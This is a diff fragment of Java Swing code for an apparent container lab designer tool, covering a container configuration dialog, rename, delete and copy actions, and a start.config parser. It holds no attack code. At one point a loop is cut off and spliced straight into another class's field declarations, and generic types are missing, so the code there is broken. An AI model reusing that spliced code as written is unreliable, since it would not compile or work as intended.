javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel11))))) + .addGroup(ContainerConfigOtherTabLayout.createSequentialGroup() + .addGap(26, 26, 26) + .addComponent(jLabel12))) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(ContainerConfigOtherTabLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(ContainerConfigOtherTabLayout.createSequentialGroup() + .addComponent(TapRadioButton) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(NoParamCheckbox)) + .addComponent(WaitForTextField, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.PREFERRED_SIZE, 61, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addGroup(ContainerConfigOtherTabLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false) + .addComponent(NumCPUTextField, javax.swing.GroupLayout.DEFAULT_SIZE, 56, Short.MAX_VALUE) + .addComponent(CPUSetTextField)) + .addContainerGap(281, Short.MAX_VALUE)) + ); + + containerTabPane.addTab("Other", ContainerConfigOtherTab); + + ContainerConfigUpdateButton.setText("OK"); + ContainerConfigUpdateButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + ContainerConfigUpdateButtonActionPerformed(evt); + } + }); + + ContainerConfigCancelButton.setText("Cancel"); + ContainerConfigCancelButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + ContainerConfigCancelButtonActionPerformed(evt); + } + }); + + editMenuBar.setText("Edit"); + + editDockerMenuItem.setText("dockerfile"); + editDockerMenuItem.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + editDockerMenuItemActionPerformed(evt); + } + }); + editMenuBar.add(editDockerMenuItem); + + fixlocalMenuItem.setText("fixlocal"); + fixlocalMenuItem.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + fixlocalMenuItemActionPerformed(evt); + } + }); + editMenuBar.add(fixlocalMenuItem); + + treataslocalMenuItem.setText("treataslocal"); + treataslocalMenuItem.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + treataslocalMenuItemActionPerformed(evt); + } + }); + editMenuBar.add(treataslocalMenuItem); + + openShellMenu.setText("Open shell"); + openShellMenu.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + openShellMenuActionPerformed(evt); + } + }); + editMenuBar.add(openShellMenu); + + precheckMenuItem.setText("precheck"); + precheckMenuItem.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + precheckMenuItemActionPerformed(evt); + } + }); + editMenuBar.add(precheckMenuItem); + + jMenuBar1.add(editMenuBar); + + ContainerConfigWindow.setJMenuBar(jMenuBar1); + + javax.swing.GroupLayout ContainerConfigWindowLayout = new javax.swing.GroupLayout(ContainerConfigWindow.getContentPane()); + ContainerConfigWindow.getContentPane().setLayout(ContainerConfigWindowLayout); + ContainerConfigWindowLayout.setHorizontalGroup( + ContainerConfigWindowLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(ContainerConfigWindowLayout.createSequentialGroup() + .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addComponent(ContainerConfigUpdateButton, javax.swing.GroupLayout.PREFERRED_SIZE, 100, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(18, 18, 18) + .addComponent(ContainerConfigCancelButton, javax.swing.GroupLayout.PREFERRED_SIZE, 100, javax.swing.GroupLayout.PREFERRED_SIZE) + .addContainerGap()) + .addGroup(ContainerConfigWindowLayout.createSequentialGroup() + .addComponent(containerTabPane, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(0, 2, Short.MAX_VALUE)) + ); + ContainerConfigWindowLayout.setVerticalGroup( + ContainerConfigWindowLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, ContainerConfigWindowLayout.createSequentialGroup() + .addComponent(containerTabPane, javax.swing.GroupLayout.PREFERRED_SIZE, 606, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 31, Short.MAX_VALUE) + .addGroup(ContainerConfigWindowLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(ContainerConfigUpdateButton) + .addComponent(ContainerConfigCancelButton)) + .addGap(10, 10, 10)) + ); + + editMenu.setText("Edit..."); + + editDockerMenuItem1.setText("dockerfile"); + editDockerMenuItem1.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + editDockerMenuItem1ActionPerformed(evt); + } + }); + editMenu.add(editDockerMenuItem1); + + fixlocalMenuItem1.setText("fixlocal"); + fixlocalMenuItem1.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + fixlocalMenuItem1ActionPerformed(evt); + } + }); + editMenu.add(fixlocalMenuItem1); + + treataslocalMenuItem1.setText("treataslocal"); + treataslocalMenuItem1.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + treataslocalMenuItem1ActionPerformed(evt); + } + }); + editMenu.add(treataslocalMenuItem1); + + precheckMenuItem1.setText("precheck"); + precheckMenuItem1.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + precheckMenuItem1ActionPerformed(evt); + } + }); + editMenu.add(precheckMenuItem1); + + ContainerRightClick.add(editMenu); + + openShellMenuItem.setText("Open shell in container dir"); + openShellMenuItem.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + openShellMenuItemActionPerformed(evt); + } + }); + ContainerRightClick.add(openShellMenuItem); + + renameContainerOption.setText("rename"); + renameContainerOption.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + renameContainerOptionActionPerformed(evt); + } + }); + ContainerRightClick.add(renameContainerOption); + ContainerRightClick.add(jSeparator1); + + deleteContainerOption.setText("delete"); + deleteContainerOption.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + deleteContainerOptionActionPerformed(evt); + } + }); + ContainerRightClick.add(deleteContainerOption); + + copyContainerMenuItem.setText("Copy"); + copyContainerMenuItem.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + copyContainerMenuItemActionPerformed(evt); + } + }); + ContainerRightClick.add(copyContainerMenuItem); + + setBorder(javax.swing.BorderFactory.createBevelBorder(javax.swing.border.BevelBorder.RAISED)); + setMaximumSize(new java.awt.Dimension(340, 50)); + setPreferredSize(new java.awt.Dimension(340, 50)); + addMouseListener(new java.awt.event.MouseAdapter() { + public void mouseClicked(java.awt.event.MouseEvent evt) { + formMouseClicked(evt); + } + }); + + ContainerLabelName.setFont(new java.awt.Font("Arial", 1, 18)); // NOI18N + ContainerLabelName.setHorizontalAlignment(javax.swing.SwingConstants.CENTER); + ContainerLabelName.setText("container_name"); + add(ContainerLabelName); + + RenameContainerTextfield.setFont(new java.awt.Font("Arial", 1, 18)); // NOI18N + RenameContainerTextfield.setHorizontalAlignment(javax.swing.JTextField.CENTER); + RenameContainerTextfield.setMinimumSize(new java.awt.Dimension(300, 35)); + RenameContainerTextfield.setName(""); // NOI18N + RenameContainerTextfield.setPreferredSize(new java.awt.Dimension(300, 35)); + RenameContainerTextfield.setRequestFocusEnabled(false); + RenameContainerTextfield.addFocusListener(new java.awt.event.FocusAdapter() { + public void focusLost(java.awt.event.FocusEvent evt) { + RenameContainerTextfieldFocusLost(evt); + } + }); + RenameContainerTextfield.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + RenameContainerTextfieldActionPerformed(evt); + } + }); + add(RenameContainerTextfield); + }//
//GEN-END:initComponents + + private void formMouseClicked(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_formMouseClicked + containerPanelClickHandler(evt); + }//GEN-LAST:event_formMouseClicked + + private void renameContainerOptionActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_renameContainerOptionActionPerformed + renameContainerButton(); + }//GEN-LAST:event_renameContainerOptionActionPerformed + + private void deleteContainerOptionActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_deleteContainerOptionActionPerformed + deleteButton(); + }//GEN-LAST:event_deleteContainerOptionActionPerformed + + private void RenameContainerTextfieldActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_RenameContainerTextfieldActionPerformed + renameButton(); + }//GEN-LAST:event_RenameContainerTextfieldActionPerformed + + private void RenameContainerTextfieldFocusLost(java.awt.event.FocusEvent evt) {//GEN-FIRST:event_RenameContainerTextfieldFocusLost + // hide the textfield and show the container label + RenameContainerTextfield.setVisible(false); + ContainerLabelName.setVisible(true); + }//GEN-LAST:event_RenameContainerTextfieldFocusLost + + private void ContainerConfigWindowWindowClosing(java.awt.event.WindowEvent evt) {//GEN-FIRST:event_ContainerConfigWindowWindowClosing + closeConfigWindow(); + }//GEN-LAST:event_ContainerConfigWindowWindowClosing + + private void ContainerConfigUpdateButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_ContainerConfigUpdateButtonActionPerformed + updateData(); + }//GEN-LAST:event_ContainerConfigUpdateButtonActionPerformed + + private void ContainerConfigCancelButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_ContainerConfigCancelButtonActionPerformed + closeConfigWindow(); + }//GEN-LAST:event_ContainerConfigCancelButtonActionPerformed + + private void EditDockerfileButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_EditDockerfileButtonActionPerformed + editDockerfile(); + }//GEN-LAST:event_EditDockerfileButtonActionPerformed + + private void ContainerConfigNetworksAddButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_ContainerConfigNetworksAddButtonActionPerformed + addContainerNetworkSubPanel("", ""); + }//GEN-LAST:event_ContainerConfigNetworksAddButtonActionPerformed + + private void ContainerConfigAddHostIPButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_ContainerConfigAddHostIPButtonActionPerformed + addAddHostSubPanel("ip","","",""); + }//GEN-LAST:event_ContainerConfigAddHostIPButtonActionPerformed + + private void ContainerConfigAddHostNetworkButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_ContainerConfigAddHostNetworkButtonActionPerformed + addAddHostSubPanel("network","","",""); + }//GEN-LAST:event_ContainerConfigAddHostNetworkButtonActionPerformed + + private void editDockerMenuItemActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_editDockerMenuItemActionPerformed + String dockerfilePath = mainWindow.getCurrentLab().getPath()+File.separator+"dockerfiles"+File.separator+ + "Dockerfile."+mainWindow.getLabName()+"."+this.data.name+".student"; + String cmd = mainWindow.getTextEditor()+dockerfilePath+" &"; + mainWindow.doCommand(cmd); + }//GEN-LAST:event_editDockerMenuItemActionPerformed + + private void editBin(String fname){ + String full_path = mainWindow.getCurrentLab().getPath()+File.separator+this.data.name+File.separator+"_bin"+File.separator+ + fname; + String cmd = mainWindow.getTextEditor()+full_path+" &"; + //System.out.println("full_path cmd: "+cmd); + mainWindow.doCommand(cmd); + } + private void treataslocalMenuItemActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_treataslocalMenuItemActionPerformed + editBin("treataslocal"); + }//GEN-LAST:event_treataslocalMenuItemActionPerformed + + private void fixlocalMenuItemActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_fixlocalMenuItemActionPerformed + editBin("fixlocal.sh"); + }//GEN-LAST:event_fixlocalMenuItemActionPerformed + + private void openShellMenuItemActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_openShellMenuItemActionPerformed + String cmd = "gnome-terminal --working-directory="+mainWindow.getCurrentLab().getPath()+File.separator+data.name; + System.out.println("cmd: "+cmd); + mainWindow.doCommand(cmd); + }//GEN-LAST:event_openShellMenuItemActionPerformed + + private void editDockerMenuItem1ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_editDockerMenuItem1ActionPerformed + editDockerMenuItemActionPerformed(evt); + }//GEN-LAST:event_editDockerMenuItem1ActionPerformed + + private void fixlocalMenuItem1ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_fixlocalMenuItem1ActionPerformed + fixlocalMenuItemActionPerformed(evt); + }//GEN-LAST:event_fixlocalMenuItem1ActionPerformed + + private void treataslocalMenuItem1ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_treataslocalMenuItem1ActionPerformed + treataslocalMenuItemActionPerformed(evt); + }//GEN-LAST:event_treataslocalMenuItem1ActionPerformed + + private void openShellMenuActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_openShellMenuActionPerformed + openShellMenuItemActionPerformed(evt); + }//GEN-LAST:event_openShellMenuActionPerformed + + private void PasswordTFActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_PasswordTFActionPerformed + // TODO add your handling code here: + }//GEN-LAST:event_PasswordTFActionPerformed + + private void precheckMenuItem1ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_precheckMenuItem1ActionPerformed + editBin("precheck.sh"); + }//GEN-LAST:event_precheckMenuItem1ActionPerformed + + private void precheckMenuItemActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_precheckMenuItemActionPerformed + editBin("precheck.sh"); + }//GEN-LAST:event_precheckMenuItemActionPerformed + + private void copyContainerMenuItemActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_copyContainerMenuItemActionPerformed + try{ + mainWindow.saveLab(false, true); + }catch (FileNotFoundException ex) { + Logger.getLogger(MainWindow.class.getName()).log(Level.SEVERE, null, ex); + return; + } + String cmd = "new_lab_setup.py -A "+this.data.name+" newcontainer"; + mainWindow.doLabCommand(cmd); + System.out.println("ran command "+cmd); + mainWindow.reloadLab(); + ContainerObjPanel newPanel = mainWindow.getContainerPanel("newcontainer"); + if(newPanel != null){ + newPanel.renameContainerButton(); + }else{ + System.out.println("Error getting new container name"); + } + }//GEN-LAST:event_copyContainerMenuItemActionPerformed + + private void NoResolveCheckboxActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_NoResolveCheckboxActionPerformed + // TODO add your handling code here: + }//GEN-LAST:event_NoResolveCheckboxActionPerformed + + private void NoParamCheckboxActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_NoParamCheckboxActionPerformed + // TODO add your handling code here: + }//GEN-LAST:event_NoParamCheckboxActionPerformed + + // BUTTONS/HANDLERS // + + // Handle left-click or right-click event for the container obj panel + private boolean clicked = false; + private void containerPanelClickHandler(java.awt.event.MouseEvent evt){ + if(!clicked){ + if(SwingUtilities.isLeftMouseButton(evt)){ + clicked = true; + loadDataIntoContainerPanel(); + ContainerConfigWindow.setVisible(true); + } + else if(SwingUtilities.isRightMouseButton(evt)){ + ContainerRightClick.show(this, evt.getX(), evt.getY()); + } + } + } + + // Handler for when Container Config Window closes + private void closeConfigWindow(){ + ContainerConfigWindow.setVisible(false); + clearLists(); + clicked = false; + } + + // Clears the list of Networks and Add-Hosts Container Config Window UI + private void clearLists(){ + // Clear Add-host + Component[] componentList = AddHostsSubPanel.getComponents(); + for(Component c: componentList) + AddHostsSubPanel.remove(c); + + containerAddHostPanelLength=0; + AddHostsSubPanel.setPreferredSize(new Dimension(0,containerAddHostPanelLength)); + + // Clear network + componentList = ContainerConfigNetworksPanel.getComponents(); + for(Component c: componentList) + ContainerConfigNetworksPanel.remove(c); + + containerConfigNetworksPanelLength=0; + ContainerConfigNetworksPanel.setPreferredSize(new Dimension(0,containerConfigNetworksPanelLength)); + } + + // Prompt textfield for renaming + public void renameContainerButton(){ + // Make the rename textfield visible, active, and all text inside preselected + RenameContainerTextfield.setText(this.data.name); + RenameContainerTextfield.setVisible(true); + RenameContainerTextfield.requestFocusInWindow(); + RenameContainerTextfield.selectAll(); + + // Hide the original container label + ContainerLabelName.setVisible(false); + } + + // Prompts the user to confirm deletion of container and removes all traces of the container + private void deleteButton(){ + int confirm = JOptionPane.showConfirmDialog(null, "Are you sure you want to delete the container '"+this.data.name+"'?\n"+ + "Deleting this will delete all references to this container, \n"+ + " Namely in the Results and Goals Configuration." + , "Delete Container", JOptionPane.YES_NO_OPTION); + if (confirm == JOptionPane.YES_OPTION){ + JPanel containerPanel = (JPanel)this.getParent(); + + // Delete the container from the container list in the main data object + mainWindow.getCurrentData().deleteReferenceToContainer(data.name); + + // Removes all results artifact lines with the container name in it in Results Conguration UI + if(mainWindow.getResultsUI() != null){ + mainWindow.getResultsUI().refresh(); + } + + // Remove the panel + containerPanel.remove(this); + + // Shorten the panel height holding all the containers and resize it. + mainWindow.containerPanePanelLength-=50; + containerPanel.setPreferredSize(new Dimension(0,mainWindow.containerPanePanelLength)); + + // Redraw the panel containing the list of containers + containerPanel.revalidate(); + containerPanel.repaint(); + + // Delete the container in the file system + deleteContainer(); + } + } + + // Deletes the container in the lab directory structure by calling 'new_lab_setup.py -d containername' + private void deleteContainer(){ + //call python new_lab_script to delete container + String cmd = "new_lab_setup.py -d "+this.data.name; + mainWindow.doLabCommand(cmd); + } + + // Prompts the user to confirm renaming the container + private void renameButton(){ + // Prompt user to confirm their changes + //int confirm = JOptionPane.showConfirmDialog(null, "Are you sure you want to rename the container '"+this.data.name+"' to '"+ + // RenameContainerTextfield.getText()+"'?", "Rename Container", JOptionPane.YES_NO_OPTION); + //if (confirm == JOptionPane.YES_OPTION){ + if (true){ + String newName = RenameContainerTextfield.getText(); + if(newName.equals("newcontainer")){ + JOptionPane.showMessageDialog(null, "The name 'newcontainer' is reserved and cannot b used.", "Warning", JOptionPane.WARNING_MESSAGE); + }else{ + //Refactor the mainUI's current LabData.ResultsData obj + mainWindow.getCurrentData().getResultsData().refactorContainerReference(data.name, newName); + + // Refactor the container name in the result s UI + if(mainWindow.getResultsUI() != null){ + mainWindow.getResultsUI().refactorContainerReferenceInUI(data.name, newName); + } + + // Rename the container in directory + renameContainer(this.data.name,newName); + + // Rename the container in GUI and data object + this.data.name = newName; + ContainerLabelName.setText(newName); + setNameLabel(); + } + } + + // hide the textfield and show the container label + RenameContainerTextfield.setVisible(false); + ContainerLabelName.setVisible(true); + } + + // Renames the container in the lab directory structure by calling 'new_lab_setup.py -r oldName newName' + private void renameContainer(String oldName, String newName){ + String cmd = "new_lab_setup.py -r "+oldName+" "+newName; + mainWindow.doLabCommand(cmd); + } + + // Sets the data info based on the fields in the Container Configuration Window + public void updateData(){ + // General Tab + data.user = UserTF.getText(); + if(data.user.trim().length() == 0){ + JOptionPane.showMessageDialog(null, "User name must be defined.", "Warning", JOptionPane.WARNING_MESSAGE); + return; + } + data.password = PasswordTF.getText(); + data.terminal_count = (int)TerminalQuantitySpinner.getValue(); + data.terminal_group = TerminalGroupTextfield.getText(); + data.lab_gateway = LabGatewayTextfield.getText(); + data.name_server = ResolvConfTextfield.getText(); + data.no_gw = NoGWCheckbox.isSelected(); + data.no_resolve = NoResolveCheckbox.isSelected(); + + // List of Networks + data.listOfContainerNetworks.clear(); //clear the networks so that is can be refilled with updated list of networks + Component[] networkPanels = ContainerConfigNetworksPanel.getComponents(); + for(Component component: networkPanels){ + ContainerConfigNetworksSubpanel networkPanel = (ContainerConfigNetworksSubpanel)component; + + String networkName = networkPanel.getNetwork(); + //System.out.println("hi: \'"+networkName+"\'"); + String ipAddr = networkPanel.getIP(); + data.listOfContainerNetworks.add(new LabData.ContainerNetworkSubData(networkName,ipAddr)); + } + + // Docker + data.registry = RegistryTextfield.getText(); + data.base_registry = BaseRegistryTextfield.getText(); + data.publish = PublishTextfield.getText(); + data.no_privilege = NoPrivilegeCheckbox.isSelected(); + + // Hosts + data.listOfContainerAddHost.clear(); + Component[] addhostPanels = AddHostsSubPanel.getComponents(); + for(Component component: addhostPanels){ + ContainerConfigAddHosts addhostPanel = (ContainerConfigAddHosts)component; + + //String type + String type; + if(addhostPanel.getNetworkCombobox().isVisible()) + type = "network"; + else + type = "ip"; + + String host = addhostPanel.getHost(); + String ip = addhostPanel.getIp(); + String network = addhostPanel.getNetwork(); + data.listOfContainerAddHost.add(new LabData.ContainerAddHostSubData(type, host, ip, network)); + } + + // Other + data.xterm_title = XtermTitleTextfield.getText(); + data.xterm_script = XtermScriptTextfield.getText(); + data.clone = (int)(ClonesSpinner.getValue()); + data.x11 = X11Checkbox.isSelected(); + data.no_param = NoParamCheckbox.isSelected(); + data.no_pull = NoPullCheckbox.isSelected(); + data.mystuff = MyStuffCheckbox.isSelected(); + data.tap = TapRadioButton.isSelected(); + data.mount1 = MountTextfield1.getText(); + data.mount2 = MountTextfield2.getText(); + data.wait_for = WaitForTextField.getText(); + data.num_cpus = NumCPUTextField.getText(); + data.cpu_set = CPUSetTextField.getText(); + // GNS3 + data.thumb_command = ThumbCommandTextfield.getText(); + data.thumb_stop = ThumbStopTextfield.getText(); + data.thumb_volume = ThumbVolumeTextfield.getText(); + data.hide = HideCheckbox.isSelected(); + + closeConfigWindow(); + } + private String getBaseName(){ + String dockerfilePath = mainWindow.getCurrentLab().getPath()+File.separator+"dockerfiles"+File.separator+ + "Dockerfile."+mainWindow.getLabName()+"."+this.data.name+".student"; + String retval="not defined"; + String line; + try{ + BufferedReader br = new BufferedReader(new FileReader(dockerfilePath)); + + while ((line = br.readLine()) != null) + { + if(line.startsWith("FROM")){ + int i = line.lastIndexOf("/"); + if(i>=0){ + retval = line.substring(i+1).trim(); + }else{ + retval = line.substring(4).trim(); + } + } + } + }catch (FileNotFoundException ex) { + Logger.getLogger(MainWindow.class.getName()).log(Level.SEVERE, null, ex); + mainWindow.output("ERROR dockerfile not found at "+dockerfilePath+" "+ex+"\n"); + }catch (IOException ex) { + Logger.getLogger(MainWindow.class.getName()).log(Level.SEVERE, null, ex); + mainWindow.output("ERROR FROM not found in "+dockerfilePath+" "+ex+"\n"); + } + return retval; + } + + // Opens the container's dockerfile file in a terminal text editor + private void editDockerfile(){ + String dockerfilePath = mainWindow.getCurrentLab().getPath()+File.separator+"dockerfiles"+File.separator+ + "Dockerfile."+mainWindow.getLabName()+"."+this.data.name+".student"; + String cmd = mainWindow.getTextEditor()+dockerfilePath+" &"; + mainWindow.doCommand(cmd); + } + + // Add Network Subpanel to the Container Config Window + public int containerConfigNetworksPanelLength = 0; + private final JScrollBar containerConfigNetworksScrollPaneBar; + private void addContainerNetworkSubPanel(String network, String ip){ + if(mainWindow.getCurrentData().getNetworkCount() == 0){ + mainWindow.output("No networks have been defined.\n"); + return; + } + //Resize the JPanel Holding all the containerConfigNetworksPanel to fit another containerConfigNetworksPanel + containerConfigNetworksPanelLength+=58; + ContainerConfigNetworksPanel.setPreferredSize(new Dimension(0,containerConfigNetworksPanelLength)); + + // Create the Container Obj Panel and add it + ContainerConfigNetworksSubpanel newContainerConfigNetwork = new ContainerConfigNetworksSubpanel(this, mainWindow.getCurrentData(), network, ip); + ContainerConfigNetworksPanel.add(newContainerConfigNetwork); + + // Redraw GUI with the new Panel + ContainerConfigNetworksPanel.revalidate(); + ContainerConfigNetworksPanel.repaint(); + + // Lower the Scroll Bar to show the newly added container + containerConfigNetworksScrollPaneBar.setValue(58+containerConfigNetworksScrollPaneBar.getMaximum()); + } + + // Add Add-host Subpanel to Container Config Window + public int containerAddHostPanelLength = 0; + private final JScrollBar containerAddHostScrollPaneBar; + private void addAddHostSubPanel(String type, String host, String ip, String network){ + // Resize the JPanel Holding all the containerAddHostsPanel to fit another containerAddHostsPanel + containerAddHostPanelLength+=63; + AddHostsSubPanel.setPreferredSize(new Dimension(0,containerAddHostPanelLength)); + + // Create the Container Obj Panel and add it + ContainerConfigAddHosts newContainerConfigAddHost = new ContainerConfigAddHosts(this, mainWindow.getCurrentData(), type, host, ip, network); + AddHostsSubPanel.add(newContainerConfigAddHost); + + // Redraw GUI with the new Panel + AddHostsSubPanel.revalidate(); + AddHostsSubPanel.repaint(); + + // Lower the Scroll Bar to show the newly added container + containerAddHostScrollPaneBar.setValue(63+containerAddHostScrollPaneBar.getMaximum()); + } + + // Set the fields of the Container Dialog Window with the data + private void loadDataIntoContainerPanel(){ + this.ContainerConfigWindow.setTitle("Container Config: "+this.data.name); + + // General Tab + if(data.user.trim().length() == 0){ + data.user = "ubuntu"; + } + this.UserTF.setText(data.user); + this.PasswordTF.setText(data.password); + this.TerminalQuantitySpinner.setValue(data.terminal_count); + this.LabGatewayTextfield.setText(data.lab_gateway); + this.ResolvConfTextfield.setText(data.name_server); + this.NoGWCheckbox.setSelected(data.no_gw); + this.NoResolveCheckbox.setSelected(data.no_resolve); + for(int i=0;i global_settings_params; + private ArrayList listOfContainers; + private ArrayList listOfNetworks; + + private ResultsData resultsData; + private GoalsData goalsData; + private ParamsData paramsData; + + static protected class NetworkData { + public String name = ""; + public String mask = ""; + public String gateway = ""; + public int macvlan_ext; + public int macvlan; + public boolean tap = false; + + public ArrayList unknownNetworkParams; + + NetworkData(String name){ + this.name = name; + this.unknownNetworkParams = new ArrayList(); + } + + NetworkData(String name, String mask, String gateway, int macvlan_ext, int macvlan, boolean tap){ + this.name = name; + this.mask = mask; + this.gateway = gateway; + this.macvlan_ext = macvlan_ext; + this.macvlan = macvlan; + this.tap = tap; + this.unknownNetworkParams = new ArrayList(); + } + } + + static protected class ContainerData{ + public String name; + public int terminal_count = 1; + public String terminal_group = ""; + public String xterm_title = ""; + public String xterm_script = ""; + public String user = ""; + public String password = ""; + public ArrayList listOfContainerNetworks; + public ArrayList listOfContainerAddHost; + public boolean x11; + public boolean no_param; + public int clone; + public boolean no_pull; + public String lab_gateway = ""; + public String name_server = ""; + public boolean no_gw; + public boolean no_resolve; + public String registry = ""; + public String base_registry = ""; + public String thumb_volume = ""; + public String thumb_command = ""; + public String thumb_stop = ""; + public String publish = ""; + public boolean hide; + public boolean no_privilege; + public boolean mystuff; + public boolean tap; + public String mount1 = ""; + public String mount2 = ""; + public String wait_for = ""; + public String num_cpus = ""; + public String cpu_set = ""; + + public ArrayList unknownContainerParams; + + ContainerData(String name){ + this.name = name; + this.listOfContainerNetworks = new ArrayList(); + this.listOfContainerAddHost = new ArrayList(); + this.unknownContainerParams = new ArrayList(); + } + } + + static protected class ContainerNetworkSubData{ + public String network_name; + public String network_ipaddress; + + ContainerNetworkSubData(String name, String ipaddress){ + this.network_name = name; + this.network_ipaddress = ipaddress; + } + } + + static protected class ContainerAddHostSubData{ + public String type = ""; + public String add_host_host = ""; + public String add_host_ip = ""; + public String add_host_network = ""; + + ContainerAddHostSubData(String type, String host, String ip, String network){ + this.type = type; + this.add_host_host = host; + this.add_host_ip = ip; + this.add_host_network = network; + } + } + + LabData(MainWindow main, File labPath, String labName) throws IOException{ + this.path = labPath; + this.name = labName; + this.global_settings_params = new ArrayList(); + this.listOfContainers = new ArrayList(); + this.listOfNetworks = new ArrayList(); + this.resultsData = new ResultsData(main,labPath); + this.goalsData = new GoalsData(main, labPath); + this.paramsData = new ParamsData(main, labPath); + + retrieveData(main); + } + public void retrieveResultsGoalsParams(){ + //Set the list of containers the results UI will references, then parse the results.config file + ResultsData.setContainerList(getContainerNames()); + ParamsData.setContainerList(getContainerNames()); + resultsData.retrieveData(); + + //Parse the goals.config + goalsData.retrieveData(); + + paramsData.retrieveData(); + } + + // Parse the start.config and parse the goasl.config and results.config if the start.config exists + private void retrieveData(MainWindow main) throws FileNotFoundException, IOException{ + File startConfig = new File(this.path+"/config/start.config"); + + if(startConfig.exists()){ + FileReader fileReader = new FileReader(startConfig); + String parseType = "GLOBAL_SETTINGS"; + + BufferedReader bufferedReader = new BufferedReader(fileReader); + String line = bufferedReader.readLine(); + while (line != null) { + line = line.trim(); + // Check if we need to switch to Network or Container Parsing mode + try{ + if(line.startsWith("NETWORK ")){ + parseType = "NETWORK"; + listOfNetworks.add(new NetworkData(line.split("NETWORK ")[1].trim().toUpperCase())); + line = bufferedReader.readLine(); + continue; + } + else if(line.startsWith("CONTAINER ")){ + parseType = "CONTAINER"; + listOfContainers.add(new ContainerData(line.split("CONTAINER ")[1].trim())); + line = bufferedReader.readLine(); + continue; + } + }catch(java.lang.ArrayIndexOutOfBoundsException ex){ + System.out.println("Error in line "+line); + line = bufferedReader.readLine(); + continue; + } + // Check if not a comment or empty space + if(!line.startsWith("#") && !line.isEmpty()){ + try{ + // Check if we're looking for gloabl_settings params, + // which should be at the start before container and network info; + // otherwise parse the specified accepted params in the lab designer manual. + if(parseType.equals("GLOBAL_SETTINGS")) + global_settings_params.add(line); + else { + String parameter = line.split("\\s+")[0]; + if(parseType.equals("NETWORK")){ + NetworkData currNetwork = listOfNetworks.get(listOfNetworks .size()-1); + switch(parameter){ + case "MASK": + currNetwork.mask = line.split("MASK ")[1].trim(); + break; + case "GATEWAY": + if(line.contains("GATEWAY ")){ + currNetwork.gateway = line.split("GATEWAY ")[1].trim(); + } + break; + case "MACVLAN_EXT": + currNetwork.macvlan_ext = Integer.parseInt(line.split("MACVLAN_EXT ")[1].trim()); + break; + case "MACVLAN": + currNetwork.macvlan = Integer.parseInt(line.split("MACVLAN ")[1].trim()); + 